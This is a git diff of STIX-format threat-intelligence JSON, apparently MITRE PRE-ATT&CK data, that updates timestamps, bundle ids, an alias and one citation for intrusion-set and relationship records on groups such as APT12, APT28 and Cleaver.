+            "description": "APT12 is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda)",
             "aliases": [
                 "APT12",
                 "IXESHE",
                 "DynCalc",
-                "Numbered Panda"
+                "Numbered Panda",
+                "DNSCALC"
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
@@ -5923,11 +6262,6 @@
                     "source_name": "Meyers Numbered Panda",
                     "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.",
                     "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/"
-                },
-                {
-                    "source_name": "Moran 2014",
-                    "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.",
-                    "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"
                 }
             ]
         },
@@ -5936,7 +6270,7 @@
             "id": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:56.270Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT16",
             "description": "APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)",
             "aliases": [
@@ -5963,7 +6297,7 @@
             "id": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:57.307Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT17",
             "description": "APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. (Citation: FireEye APT17)",
             "aliases": [
@@ -5991,7 +6325,7 @@
             "id": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:48.664Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT28",
             "description": "APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)",
             "aliases": [
@@ -6040,7 +6374,7 @@
             "id": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:46.390Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Cleaver",
             "description": "Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)",
             "aliases": [
@@ -6074,7 +6408,7 @@
             "id": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:51.643Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Night Dragon",
             "description": "Night Dragon is a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)",
             "aliases": [
@@ -6101,7 +6435,7 @@
             "id": "relationship--6ba71250-1dc7-4b8d-88e7-698440ea18a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88",
             "target_ref": "attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a",
@@ -6114,7 +6448,7 @@
             "id": "relationship--0e52753e-0a02-4bec-88f9-f8ee21b46bae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88",
             "target_ref": "attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b",
@@ -6127,7 +6461,7 @@
             "id": "relationship--1143e6a6-deef-4dbd-8c91-7bf537d8f5ce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b",
             "target_ref": "attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a",
@@ -6140,7 +6474,7 @@
             "id": "relationship--60b6c9a6-7705-4c72-93bb-67de0caf11f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b",
             "target_ref": "attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88",
@@ -6153,7 +6487,7 @@
             "id": "relationship--28bf7e8b-9948-40a8-945b-6b5f2c78ec53",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a",
             "target_ref": "attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88",
@@ -6166,7 +6500,7 @@
             "id": "relationship--be031f72-737b-4afd-b2c1-c565f5ab7369",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a",
             "target_ref": "attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b",
@@ -6179,7 +6513,7 @@
             "id": "relationship--5dc0b076-5f25-4bda-83c7-1d8bd214b81a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--286cc500-4291-45c2-99a1-e760db176402",
             "target_ref": "attack-pattern--795c1a92-3a26-453e-b99a-6a566aa94dc6",
@@ -6192,7 +6526,7 @@
             "id": "relationship--9a1f729c-72a9-4735-9d48-ecb54ea018a9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--795c1a92-3a26-453e-b99a-6a566aa94dc6",
             "target_ref": "attack-pattern--286cc500-4291-45c2-99a1-e760db176402",
@@ -6205,7 +6539,7 @@
             "id": "relationship--3d781e9a-d3f8-4e9f-bb23-ba6c2ff22267",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--1a295f87-af63-4d94-b130-039d6221fb11",
             "target_ref": "attack-pattern--488da8ed-2887-4ef6-a39a-5b69bc6682c6",
@@ -6218,7 +6552,7 @@
             "id": "relationship--2bf984b5-1a48-4d9a-a4f2-e97801254b84",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--488da8ed-2887-4ef6-a39a-5b69bc6682c6",
             "target_ref": "attack-pattern--1a295f87-af63-4d94-b130-039d6221fb11",
@@ -6231,7 +6565,7 @@
             "id": "relationship--c388ed7c-3820-41a3-98af-a48dd7e4d88b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--e5164428-03ca-4336-a9a7-4d9ea1417e59",
             "target_ref": "attack-pattern--03f4a766-7a21-4b5e-9ccf-e0cf422ab983",
@@ -6244,7 +6578,7 @@
             "id": "relationship--fe31fa7c-be01-47ca-90bb-0fb49b49eb03",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--03f4a766-7a21-4b5e-9ccf-e0cf422ab983",
             "target_ref": "attack-pattern--e5164428-03ca-4336-a9a7-4d9ea1417e59",
@@ -6252,12 +6586,25 @@
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ]
         },
+        {
+            "type": "relationship",
+            "id": "relationship--7bd3d2ba-f114-4835-97b6-1c3e2208d3f3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2017-12-14T16:46:06.044Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "related-to",
+            "source_ref": "attack-pattern--092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc",
+            "target_ref": "attack-pattern--96eb59d1-6c46-44bb-bfcd-56be02a00d41",
+            "object_marking_refs": [
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@@ -6267,12 +6614,12 @@
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@@ -6356,12 +6690,25 @@
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@@ -6371,12 +6718,12 @@
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@@ -6395,25 +6742,12 @@
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@@ -6538,12 +6872,25 @@
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@@ -6553,12 +6900,12 @@
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@@ -6577,25 +6924,12 @@
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@@ -6608,7 +6942,7 @@
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@@ -6616,25 +6950,12 @@
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@@ -6642,12 +6963,25 @@
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@@ -6660,7 +6994,7 @@
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@@ -6668,25 +7002,12 @@
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@@ -6694,12 +7015,25 @@
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@@ -6712,7 +7046,7 @@
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@@ -6725,7 +7059,7 @@
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@@ -6738,7 +7072,7 @@
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@@ -6751,7 +7085,7 @@
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@@ -6764,7 +7098,7 @@
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@@ -6777,7 +7111,7 @@
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@@ -6790,7 +7124,7 @@
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@@ -6803,7 +7137,7 @@
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@@ -6816,7 +7150,7 @@
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@@ -6829,7 +7163,7 @@
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@@ -6842,7 +7176,7 @@
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@@ -6855,7 +7189,7 @@
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@@ -6868,7 +7202,7 @@
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@@ -6881,7 +7215,7 @@
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@@ -6894,7 +7228,7 @@
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@@ -6907,7 +7241,7 @@
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@@ -6920,7 +7254,7 @@
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@@ -6933,7 +7267,7 @@
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@@ -6946,7 +7280,7 @@
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@@ -6959,7 +7293,7 @@
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@@ -6972,7 +7306,7 @@
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@@ -6985,7 +7319,7 @@
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@@ -6998,7 +7332,7 @@
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@@ -7011,7 +7345,7 @@
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@@ -7024,7 +7358,7 @@
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@@ -7037,7 +7371,7 @@
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@@ -7050,7 +7384,7 @@
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@@ -7063,7 +7397,7 @@
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@@ -7076,7 +7410,7 @@
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@@ -7089,7 +7423,7 @@
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@@ -7102,7 +7436,7 @@
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@@ -7115,7 +7449,7 @@
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@@ -7128,7 +7462,7 @@
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@@ -7141,7 +7475,7 @@
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@@ -7154,7 +7488,7 @@
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@@ -7167,7 +7501,7 @@
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@@ -7180,7 +7514,7 @@
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@@ -7193,7 +7527,7 @@
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@@ -7206,7 +7540,7 @@
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@@ -7219,7 +7553,7 @@
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@@ -7232,7 +7566,7 @@
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@@ -7245,7 +7579,7 @@
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@@ -7258,7 +7592,7 @@
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@@ -7271,7 +7605,7 @@
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@@ -7284,7 +7618,7 @@
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@@ -7297,7 +7631,7 @@
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@@ -7310,7 +7644,7 @@
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@@ -7323,7 +7657,7 @@
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@@ -7336,7 +7670,7 @@
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@@ -7349,7 +7683,7 @@
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@@ -7362,7 +7696,7 @@
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@@ -7375,7 +7709,7 @@
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@@ -7388,7 +7722,7 @@
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@@ -7401,7 +7735,7 @@
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@@ -7414,7 +7748,7 @@
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             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "attack-pattern--c2ffd229-11bb-4fd8-9208-edbe97b14c93",
@@ -7427,7 +7761,7 @@
             "id": "relationship--b09b41c4-670f-4f00-b8d5-a8c6a2dcfcfb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "attack-pattern--fddd81e9-dd3d-477e-9773-4fb8ae227234",
@@ -7440,7 +7774,7 @@
             "id": "relationship--515e7665-040c-44ac-a379-44d4399d6e2b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "attack-pattern--27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768",
@@ -7453,7 +7787,7 @@
             "id": "relationship--3f8694fa-8e16-465b-8357-ec0a85316e9c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "attack-pattern--b79a1960-d0be-4b51-bb62-b27e91e1dea0",
@@ -7466,7 +7800,7 @@
             "id": "relationship--75c781d7-f9ef-42c8-b610-0dc1ecb3b350",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063",
             "target_ref": "attack-pattern--0440f60f-9056-4791-a740-8eae96eb61fa",
@@ -7479,7 +7813,7 @@
             "id": "relationship--e95ea206-3962-43af-aac1-042ac9928679",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "target_ref": "attack-pattern--d778cb83-2292-4995-b006-d38f52bc1e64",
@@ -7492,7 +7826,7 @@
             "id": "relationship--a071fc8f-6323-420b-9812-b51f12fc7956",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "target_ref": "attack-pattern--91a3735f-817a-4450-8ed4-f05a0f5c3877",
@@ -7505,7 +7839,7 @@
             "id": "relationship--f6dd74d9-ed02-4fe4-aff6-9ef25906592f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "target_ref": "attack-pattern--89a79d91-53e0-4ef5-ba28-558cb8b01f76",
@@ -7518,7 +7852,7 @@
             "id": "relationship--c6e43693-2a6d-4ba8-8fa7-ec1ab5239528",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "target_ref": "attack-pattern--1a295f87-af63-4d94-b130-039d6221fb11",
@@ -7531,7 +7865,7 @@
             "id": "relationship--0adf353d-688b-46ce-88bb-62a008675fe0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "target_ref": "attack-pattern--286cc500-4291-45c2-99a1-e760db176402",
@@ -7544,7 +7878,7 @@
             "id": "relationship--a34c16e9-bc7e-45f5-a9a2-8b05d868e6a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "target_ref": "attack-pattern--9755ecdc-deb0-40e6-af49-713cb0f8ed92",
@@ -7557,7 +7891,7 @@
             "id": "relationship--57723021-1eb3-4bf2-86eb-fdbf8a1b8125",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "target_ref": "attack-pattern--e24a9f99-cb76-42a3-a50b-464668773e97",
@@ -7570,7 +7904,7 @@
             "id": "relationship--c2571ca8-98c4-490d-b8f8-f3678b0ce74d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "target_ref": "attack-pattern--4aeafdb3-eb0b-4e8e-b93f-95cd499088b4",
diff --git a/pre-attack/relationship/relationship--0adf353d-688b-46ce-88bb-62a008675fe0.json b/pre-attack/relationship/relationship--0adf353d-688b-46ce-88bb-62a008675fe0.json
index 4c4919dbd9..289216b3c6 100644
--- a/pre-attack/relationship/relationship--0adf353d-688b-46ce-88bb-62a008675fe0.json
+++ b/pre-attack/relationship/relationship--0adf353d-688b-46ce-88bb-62a008675fe0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--73d58d32-5d33-442c-bcb3-cd65aa11cf24",
+    "id": "bundle--d1c72ba2-9ad7-4d7b-86b1-469c4ae50aa8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0adf353d-688b-46ce-88bb-62a008675fe0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
             "target_ref": "attack-pattern--286cc500-4291-45c2-99a1-e760db176402",
diff --git a/pre-attack/relationship/relationship--0e52753e-0a02-4bec-88f9-f8ee21b46bae.json b/pre-attack/relationship/relationship--0e52753e-0a02-4bec-88f9-f8ee21b46bae.json
index 1f52188796..3480ab1a7d 100644
--- a/pre-attack/relationship/relationship--0e52753e-0a02-4bec-88f9-f8ee21b46bae.json
+++ b/pre-attack/relationship/relationship--0e52753e-0a02-4bec-88f9-f8ee21b46bae.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f8cfc520-5244-4796-8100-e9bc025c8652",
+    "id": "bundle--1e949d6f-8bc0-42dc-bb47-f733d10c037a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0e52753e-0a02-4bec-88f9-f8ee21b46bae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88",
             "target_ref": "attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b",
diff --git a/pre-attack/relationship/relationship--0e7905fd-77c8-43cb-b499-7d6e37fefbeb.json b/pre-attack/relationship/relationship--0e7905fd-77c8-43cb-b499-7d6e37fefbeb.json
index fdf1c7a90b..ab5e85823f 100644
--- a/pre-attack/relationship/relationship--0e7905fd-77c8-43cb-b499-7d6e37fefbeb.json
+++ b/pre-attack/relationship/relationship--0e7905fd-77c8-43cb-b499-7d6e37fefbeb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--caa08cad-8c6f-4aa5-b561-92dc3942c0b6",
+    "id": "bundle--17091795-3b4f-4717-b3ba-06023471cc6f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0e7905fd-77c8-43cb-b499-7d6e37fefbeb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--20a66013-8dab-4ca3-a67d-766c842c561c",
diff --git a/pre-attack/relationship/relationship--0f97c2ae-2b89-4dd5-a270-42b1dcb5d403.json b/pre-attack/relationship/relationship--0f97c2ae-2b89-4dd5-a270-42b1dcb5d403.json
index ecd2f62a9f..7109fcccab 100644
--- a/pre-attack/relationship/relationship--0f97c2ae-2b89-4dd5-a270-42b1dcb5d403.json
+++ b/pre-attack/relationship/relationship--0f97c2ae-2b89-4dd5-a270-42b1dcb5d403.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0f076289-54c2-4f0b-a07a-0cc3e021dd4d",
+    "id": "bundle--4e4cae98-113c-4121-aeb1-539f671449e6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0f97c2ae-2b89-4dd5-a270-42b1dcb5d403",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "attack-pattern--0440f60f-9056-4791-a740-8eae96eb61fa",
diff --git a/pre-attack/relationship/relationship--1143e6a6-deef-4dbd-8c91-7bf537d8f5ce.json b/pre-attack/relationship/relationship--1143e6a6-deef-4dbd-8c91-7bf537d8f5ce.json
index ea7e3b57e8..716e238735 100644
--- a/pre-attack/relationship/relationship--1143e6a6-deef-4dbd-8c91-7bf537d8f5ce.json
+++ b/pre-attack/relationship/relationship--1143e6a6-deef-4dbd-8c91-7bf537d8f5ce.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7b1fe473-500a-4930-ac0d-8956a3379d90",
+    "id": "bundle--f4e834b6-93a3-47d7-89d2-9cac91c07a4e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1143e6a6-deef-4dbd-8c91-7bf537d8f5ce",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "related-to",
             "source_ref": "attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b",
             "target_ref": "attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a",
diff --git a/pre-attack/relationship/relationship--1895866a-4689-4527-8460-95e9cd7dd037.json b/pre-attack/relationship/relationship--1895866a-4689-4527-8460-95e9cd7dd037.json
index 0f0bd660c9..6aa17ada63 100644
--- a/pre-attack/relationship/relationship--1895866a-4689-4527-8460-95e9cd7dd037.json
+++ b/pre-attack/relationship/relationship--1895866a-4689-4527-8460-95e9cd7dd037.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9d1b7fec-f49b-46d6-8886-98a84c2dde5e",
+    "id": "bundle--4d00066d-3518-4764-ab3b-0f5c30938572",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1895866a-4689-4527-8460-95e9cd7dd037",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb",
             "target_ref": "attack-pattern--e24a9f99-cb76-42a3-a50b-464668773e97",
diff --git a/pre-attack/relationship/relationship--1eed277b-a2a7-43f9-bf12-6e30abf0841a.json b/pre-attack/relationship/relationship--1eed277b-a2a7-43f9-bf12-6e30abf0841a.json
index d50325eba0..9d5b89a15b 100644
--- a/pre-attack/relationship/relationship--1eed277b-a2a7-43f9-bf12-6e30abf0841a.json
+++ b/pre-attack/relationship/relationship--1eed277b-a2a7-43f9-bf12-6e30abf0841a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--56dcb04d-6fbc-4f55-b9f7-8dde4be02bd1",
+    "id": "bundle--78447232-93ff-43a5-b2ed-e069a380d3ac",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1eed277b-a2a7-43f9-bf12-6e30abf0841a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "target_ref": "attack-pattern--58d0b955-ae3d-424a-a537-2804dab38793",
diff --git a/pre-attack/relationship/relationship--22d4f32c-63c1-400f-8e2c-10e4a200d133.json b/pre-attack/relationship/relationship--22d4f32c-63c1-400f-8e2c-10e4a200d133.json
index 3e817b3fa0..e6151fdc34 100644
--- a/pre-attack/relationship/relationship--22d4f32c-63c1-400f-8e2c-10e4a200d133.json
+++ b/pre-attack/relationship/relationship--22d4f32c-63c1-400f-8e2c-10e4a200d133.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b4b09969-da11-4289-8699-cc8107d5aa54",
+    "id": "bundle--6cb04ccf-ef84-4fed-8a90-4a66a837212c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--22d4f32c-63c1-400f-8e2c-10e4a200d133",
